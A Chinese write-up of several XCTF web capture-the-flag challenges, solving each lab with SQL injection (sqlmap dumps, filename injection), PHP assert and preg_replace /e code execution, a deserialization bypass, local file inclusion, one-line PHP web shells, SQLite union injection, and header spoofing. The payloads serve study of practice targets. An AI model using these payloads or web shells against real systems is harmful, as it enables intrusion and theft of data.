攻防世界 WEB篇


0x01 ics-06

查看源码发现:index.php

一开始直接用sqlmap跑了下没有发现注入,然后用brupsuite爆破参数


0x02 NewsCenter

SQL注入中的POST注入,查阅资料(下方链接)获知注入方法!

python2 sqlmap.py -r post.txt

可以获得如下信息:

  1. mysql 5 数据库
  2. Linux Debian9.0的服务器系统
  3. Apache 2.4.25的

接着来查看该数据库的表:python2 sqlmap.py -r post.txt --dbs

  1. python2 sqlmap.py -r post.txt -D "news" -T "secret_table" --columns
  2. python2 sqlmap.py -r post.txt -D "news" -T "secret_table" -C "fl4g,id" --dump


0x03 mfw

没有发现注入点,扫一波目录看看

在templates目录下发现:

//flag.php
<?php
// TODO
// $FLAG = '';
?>
//index.php
<?php
if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert以及stroops的具体用法百度可知,要使得第一个assert检查第一个断言为False

payload

yoloyanng')or system("cat templates/flag.php");//
$file="templates/yoloyanng')or system("cat templates/flag.php");//.php";

最后执行的就是:

assert("strpos('templates/yoloyanng') or system("cat templates/flag.php");//, '..') === false") or die("Detected hacking attempt!");

最后执行语句:

strpos('templates/yoloyanng') or system("cat templates/flag.php")


0x04 PHP2

首先扫目录也没扫出什么东西来,后来得知是index.phps🤣🤣

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?

分析源码:

要使的:"admin"===$_GET[id]不成立

经过$_GET[id] = urldecode($_GET[id]);$_GET[id] == "admin"成立

那么将admin两次URL编码后就OK了

payload

?id=%2561%2564%256d%2569%256e


0x05 lottery

在robots.txt下得到提示是git源码泄露,目录爆破下看看

利用Githack工具获取

看了下文件中并没有flag,那就代码审计,在api.php中发现:

php弱类型比较漏洞,BrupSuite抓包改包,刷钱买flag:

0x06 unserialize3

class xctf{ 
public $flag = '111';
public function __wakeup(){
	exit('bad requests');
}
?code=

PHP反序列化漏洞了:__wakeup将在序列化之后立即被调用

对xctf类序列化:

<?php

class xctf{ 
public $flag = '111';
public function __wakeup(){
		exit('bad requests');
	}
}

$temp=new xctf();
echo serialize($temp);
?>

得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";},需要绕过__wakeup

payload:

?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}

0x07 upload

上传php文件,返回:Incorrect file extension!,改了后缀为jpg可以上传成功,但也没法通过jpg的后缀来通过菜刀连接,遂另寻方法(那也就是看Writeup了,🥦🥦)!

通过上传的文件名注入,但是对于selectfrom进行了过滤,得想办法绕过,采用关键字双写来绕过

sql '+(selselectect dAtaBase())+'.jpg

回显结果:

看Writeup才知道:

sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
  1. 通过hex函数将字符型转换为16进制数
    1. 通过CONV函数将16进制转换为10进制
  2. 通过substr函数截取前12位,因为太大了的话会用科学计数法表示
sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg

将两串十进制数转换为2进制在转换位字符型得到:

131277325825392==>011101110110010101100010010111110111010101110000==>web_up
1819238756==>01101100011011110110000101100100==>load

得到数据库名:web_upload

同样的方法

sql'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
sql'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg
sql'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg

得到表名:hello_flag_is_here

sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg

得到列名:i_am_flag

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

字段内容:!!_@m_Th.e_F!lag


0x08 Cat

  • 输入ip的结果

通过Writeup得知:

  • php cURL CURLOPT_SAFE_UPLOAD
  • django DEBUG mode
  • Django使用的是gbk编码,超过%F7的编码不在gbk中有意义
  • CURLOPT_SAFE_UPLOAD 为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容。

所以在这当传递的参数ASCII值大于127就会报错,不过得通过url编码

http://111.198.29.45:47939/index.php?url=%80

复制保存为HTML文件打开,关键部分:

http://111.198.29.45:47939/index.php?url=@/opt/api/database.sqlite3

0x09 ics-05

题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

本地文件包含漏洞,使用php://filter协议和base64编码去访问本地文件获取源码:

URL中存在path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。

/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

关键代码部分:

<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

分析代码可知需要将X-Forwarded-For设置为:127.0.0.1,并且通过get方式传递三个参数(pat,rep,sub)给preg_replace函数,这个函数的作用就是执行一个正则表达式的搜索和替换

preg_replace ( $pattern , $replacement , $subject)
  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。

这里利用到的就是preg_replace函数的\e模式修政符允许代码执行,具体可参考https://cloud.tencent.com/developer/article/1371906

构造:

pat=/ctf/e&rep=system("ls")&sub=ctf

接着一步步找到flag的位置

pat=/ctf/e&rep=system("ls+s3chahahaDir")&sub=ctf  //得到flag目录
pat=/ctf/e&rep=system("ls+s3chahahaDir/flag")&sub=ctf   //得到flag.php文件
pat=/ctf/e&rep=system("cat+s3chahahaDir/flag/flag.php")&sub=ctf   //读取flag.php文件

0x10 Triangle

登录验证

function login(){
	var input = document.getElementById('password').value;
	var enc = enc_pw(input);
	var pw = get_pw();
	if(test_pw(enc, pw) == 1){
		alert('Well done!');
	}
	else{
		alert('Try again ...');
	}
}

unicorn.js : 一个 JavaScript 实现的开源 CPU 模拟器:https://alexaltea.github.io/unicorn.js/

secret.js

function test_pw(e, _) {
    var t = stoh(atob(getBase64Image("eye"))),
    r = 4096,
    m = 8192,
    R = 12288,
    a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    a.reg_write_i32(uc.ARM_REG_R9, m),
    a.reg_write_i32(uc.ARM_REG_R10, R),
    a.reg_write_i32(uc.ARM_REG_R8, _.length),
    a.mem_map(r, 4096, uc.PROT_ALL);
    for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]);
    a.mem_map(m, 4096, uc.PROT_ALL),
    a.mem_write(m, stoh(_)),
    a.mem_map(R, 4096, uc.PROT_ALL),
    a.mem_write(R, stoh(e));
    var u = r,
    c = r + o1.length;
    return a.emu_start(u, c, 0, 0),
    a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
    var _ = stoh(atob(getBase64Image("frei"))),
    t = 4096,
    r = 8192,
    m = 12288,
    //CPU 模拟器
    R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    R.reg_write_i32(uc.ARM_REG_R8, r),
    R.reg_write_i32(uc.ARM_REG_R9, m),
    R.reg_write_i32(uc.ARM_REG_R10, e.length),
    R.mem_map(t, 4096, uc.PROT_ALL);
    
    for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]);
    R.mem_map(r, 4096, uc.PROT_ALL),
    R.mem_write(r, stoh(e)),
    R.mem_map(m, 4096, uc.PROT_ALL);
    var o = t,
    u = t + o2.length;
    return R.emu_start(o, u, 0, 0),
    htos(R.mem_read(m, e.length))
}

function get_pw() {
    for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]);
    return _
}

util.js

//返回字符串t的ASCII编码
function stoh(t) {
    return t.split("").map(function(t) {
        return t.charCodeAt(0)
    })
}
//数字转字符
function htos(t) {
    return String.fromCharCode.apply(String, t)
}
//返回图片的base64编码
function getBase64Image(t) {
    var e = document.getElementById(t),
    a = document.createElement("canvas");
    a.width = e.width,
    a.height = e.height;
    var n = a.getContext("2d");
    n.drawImage(e, 0, 0);
    var r = a.toDataURL("image/png");
    return r.replace(/^data:image\/(png|jpeg);base64,/, "")
}
//判断浏览器类型
if (navigator.userAgent.toLowerCase().indexOf('firefox') > -1) {
//Firefox
    var o1 = [220, 8, 440, 642, 5, 189, 440, 642, 24, 249, 440, 642, 8, 300, 440, 280, 8, 1, 440, 280, 8, 219, 440, 280, 8, 162, 178, 60, 8, 517, 857, 60, 485, 517, 53, 497, 295, 219, 79, 497, 8, 8, 130, 280, 8, 8, 8, 5, 36, 517, 460, 497, 25, 8, 15, 642, 485, 8, 8, 6, 295, 8, 19, 497, 295, 189, 900, 497, 295, 300, 72, 497, 36, 8, 40, 642, 484, 131, 131, 520, 295, 1, 440, 280, 8, 8, 440, 280, 8, 189, 440, 280, 8, 162, 440, 280, 8, 249, 440, 280, 8, 300, 440, 280, 8, 517, 440, 280, 8, 253, 440, 280, 8, 19, 440, 280, 8, 74, 440, 280, 8, 440, 440, 280, 8, 219, 440, 280];
    var o2 = [24, 8, 105, 419, 80, 414, 105, 419, 5, 439, 105, 419, 8, 447, 105, 192, 8, 1, 105, 192, 8, 91, 104, 891, 70, 8, 330, 192, 70, 8, 8, 6, 64, 63, 64, 381, 25, 91, 632, 155, 25, 91, 632, 381, 70, 1, 76, 381, 8, 91, 417, 891, 70, 8, 19, 381, 70, 414, 82, 381, 70, 447, 555, 381, 176, 8, 139, 419, 220, 141, 141, 635, 8, 8, 105, 192, 8, 414, 105, 192, 8, 439, 105, 192, 8, 447, 105, 192, 8, 91, 105, 192, 8, 1, 105, 192, 8, 63, 105, 192, 8, 693, 105, 192, 8, 46, 105, 192, 8, 105, 105, 192];
    var o3 = [105, 134, 235, 31, 530, 39, 39, 105, 817, 1, 53, 479, 479, 97, 479, 160, 693, 54, 479, 31, 498, 817, 479, 530, 674, 335, 597, 90, 134, 134, 134, 344];
} 
else {
    var o1 = [305, 8, 485, 346, 5, 394, 485, 346, 24, 460, 485, 346, 8, 172, 485, 259, 8, 1, 485, 259, 8, 177, 485, 259, 8, 112, 349, 822, 8, 372, 86, 822, 286, 372, 106, 619, 63, 177, 61, 619, 8, 8, 60, 259, 8, 8, 8, 5, 64, 372, 317, 619, 25, 8, 15, 346, 286, 8, 8, 6, 63, 8, 19, 619, 63, 394, 226, 619, 63, 172, 591, 619, 64, 8, 40, 346, 618, 148, 148, 104, 63, 1, 485, 259, 8, 8, 485, 259, 8, 394, 485, 259, 8, 112, 485, 259, 8, 460, 485, 259, 8, 172, 485, 259, 8, 372, 485, 259, 8, 526, 485, 259, 8, 19, 485, 259, 8, 217, 485, 259, 8, 485, 485, 259, 8, 177, 485, 259];
    var o2 = [24, 8, 355, 223, 317, 515, 355, 223, 5, 195, 355, 223, 8, 250, 355, 379, 8, 1, 355, 379, 8, 287, 431, 100, 101, 8, 200, 379, 101, 8, 8, 6, 203, 170, 203, 268, 25, 287, 678, 199, 25, 287, 678, 268, 101, 1, 76, 268, 8, 287, 1205, 100, 101, 8, 19, 268, 101, 515, 1446, 268, 101, 250, 186, 268, 198, 8, 337, 223, 81, 50, 50, 119, 8, 8, 355, 379, 8, 515, 355, 379, 8, 195, 355, 379, 8, 250, 355, 379, 8, 287, 355, 379, 8, 1, 355, 379, 8, 170, 355, 379, 8, 184, 355, 379, 8, 617, 355, 379, 8, 355, 355, 379];
    var o3 = [52, 853, 58, 31, 908, 39, 39, 52, 197, 1, 86, 786, 786, 370, 786, 79, 177, 343, 786, 31, 106, 197, 786, 908, 331, 344, 227, 491, 853, 853, 853, 496];
}

所以就是一个JS代码的逆向

在console里头执行get_pw得到:XYzaSAAX_PBssisodjsal_sSUVWZYYYb

太菜了,后续未能解决,查看Writeup后得知:

enc_pw()test_pw()函数是采用 ARM 构架的模拟器来实现加密函数,在控制台运行如下代码获得ARM16进制代码:

function getARM1(){
    var t = stoh(atob(getBase64Image("eye")));
    var res = new Array();

    for (var o = 0; o < o1.length; o++) 
        res[o] = t[o1[o]];

    return res;
}

function getARM2(){

  var x = stoh(atob(getBase64Image("frei")));
  var res = new Array();

  for(var i = 0; i < o2.length ; i++)
    res[i] = x[o2[i]];

  return res;
}

function ToHex(a){
    return Array.from(a, function(tmp){
        return ('0' + (tmp & 0xFF).toString(16)).slice(-2);
    }).join('');
}

ToHex(getARM1());
ToHex(getARM2());

通过网站在线转:http://armconverter.com/hextoarm/

然后用Python写就是:

def enc_pw(s):
  res = ''
  f = 0
  for i, c in enumerate(s):
    c = ord(c)
    if f == 1:
      c += i & 3
    c += 6
    f = c & 1
    res += chr(c)
  return res

def test_pw(s, t):
  for i, (c, d) in enumerate(zip(s, t)):
    c, d = ord(c), ord(d)
    c += 5
    if i & 1:
      c -= 3
    if c != d:
      return 0
  return 1

exp

import z3

x = [z3.BitVec(i, 8) for i in range(32)]
y = [0] * 32
s = z3.Solver()

a = "XYzaSAAX_PBssisodjsal_sSUVWZYYYb"
b = map(ord, a)

flag = 0
for i in range(32):
    ch = x[i]
    ch = z3.If(flag == 1, ch + (i & 3), ch)
    temp = ch + 6
    flag = temp & 1
    y[i] = temp

for i in range(32):
    ch = y[i] + 5
    if i & 1:
        ch = y[i] + 2
    s.add(ch == b[i])

if s.check() == z3.sat:
    m = s.model()
    print m
    flag = map(lambda sym: m[sym], x)
    flag = map(lambda val: chr(int(str(val))), flag)
    print ''.join(flag)

0x11 bug

注册登录后:

Manage需要用户admin才能够访问,找回密码抓包修改admin密码

通过身份验证之后,在设置新密码时通过burpsuite进行抓包,修改用户名为admin

通过admin登录之后,仍然是无法访问Manage,显示IP Not allowed! ,仍旧是通过抓包修改X-Forwarded-For为:127.0.0.1

访问:index.php?module=filemanage&do=upload 得到一个文件上传界面

对文件后缀名和文件中的内容进行了过滤

后缀名为php2,php3、php4、php5、phtml、pht等同样可以被当做php文件执行,发现php4和php5可以绕过,然后通过<script language="php">@eval_r($_POST[pass])</script> 绕过对文件内容的过滤。

0x12 Web2

<?php 
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; 

function encode($str){ 
    //strrev() 函数反转字符串。
    $_o=strrev($str); 
    // echo $_o; 
         
    for($_0=0;$_0<strlen($_o);$_0++){ 
        //substr() 函数返回字符串的一部分。
        $_c=substr($_o,$_0,1); 
        $__=ord($_c)+1; 
        $_c=chr($__); 
        $_=$_.$_c;    
    }  
    return str_rot13(strrev(base64_encode($_))); 
} 
highlight_file(__FILE__); 
/* 
   逆向加密算法,解密$miwen就是flag 
*/ 
?> 

具体来说就是:先rot13解密,然后反转字符串,然后base64解密,然后每个字符得ascii值减去1,然后反转

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; 
function decode($str){
	$flag=base64_decode(strrev(str_rot13($str)));

	$flag1="";
	for($i=0;$i<strlen($flag);$i++){ 
        $temp1=substr($flag,$i,1); 
        $temp2=ord($temp1)-1; 
        $temp1=chr($temp2); 
        $flag1=$flag1.$temp1;
    }
    $flag=strrev($flag1);
    echo($flag);
}

decode($miwen)
?>

ox13 upload1

随便上传一张图片,返回

upload success : upload/1569307085.test.jpg

那么尝试上传一句话木马:

<?php @eval($_POST['pass']);?>

对文件后缀名进行了过滤,只能够上传图片,那么就通过BrupSuite抓包改包吧!

但是菜刀连不上不知是为何!!!

0x14 FlatScience

扫目录:

访问login.php 查看源码得到传参数debug,得到源码

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

sqlite注入,没有啥过滤,对于密码加盐进行了sha1处理

?usr=' union select name,sql from sqlite_master--+&pw=hello

关于sqlite_master:https://blog.csdn.net/jingcheng345413/article/details/70155254

set-cookie:

CREATE TABLE Users(
    id int primary key,
    name varchar(255),
    password varchar(255),
    hint varchar(255)
)

后续注入过程:

usr=' union select id,id from Users limit 0,1--+&pw   -- id=1
usr=' union select id,name from Users limit 0,1--+&pw -- name=admin
usr=' union select id,password from Users limit 0,1--+&pw -- 
password=3fab54a50e770d830c0416df817567662a9dc85c
usr=' union select id,hint from Users limit 0,1--+&pw --  
hint=my fav word in my fav paper?!

提示就是说密码在那些pdf文件中,那么思路就是写个脚本把pdf中所有不同的词汇给爬取下来,然后进行爆破

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()
 
if __name__ == "__main__":
	find_password()

0x15 wtf.sh-150

参考链接

(1)https://bbs.ichunqiu.com/thread-7762-1-1.html?from=bky

(2)https://www.freebuf.com/articles/web/167721.html

(3)https://www.php.net/manual/zh/function.unserialize.php

(4)https://www.cnblogs.com/Mrsm1th/p/6835592.html

(5)https://blog.csdn.net/huanghelouzi/article/details/82995313

(6)https://st98.github.io/diary/posts/2017-10-25-hacklu-ctf-2017.html

(7)https://www.webshell.cc/2949.html


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM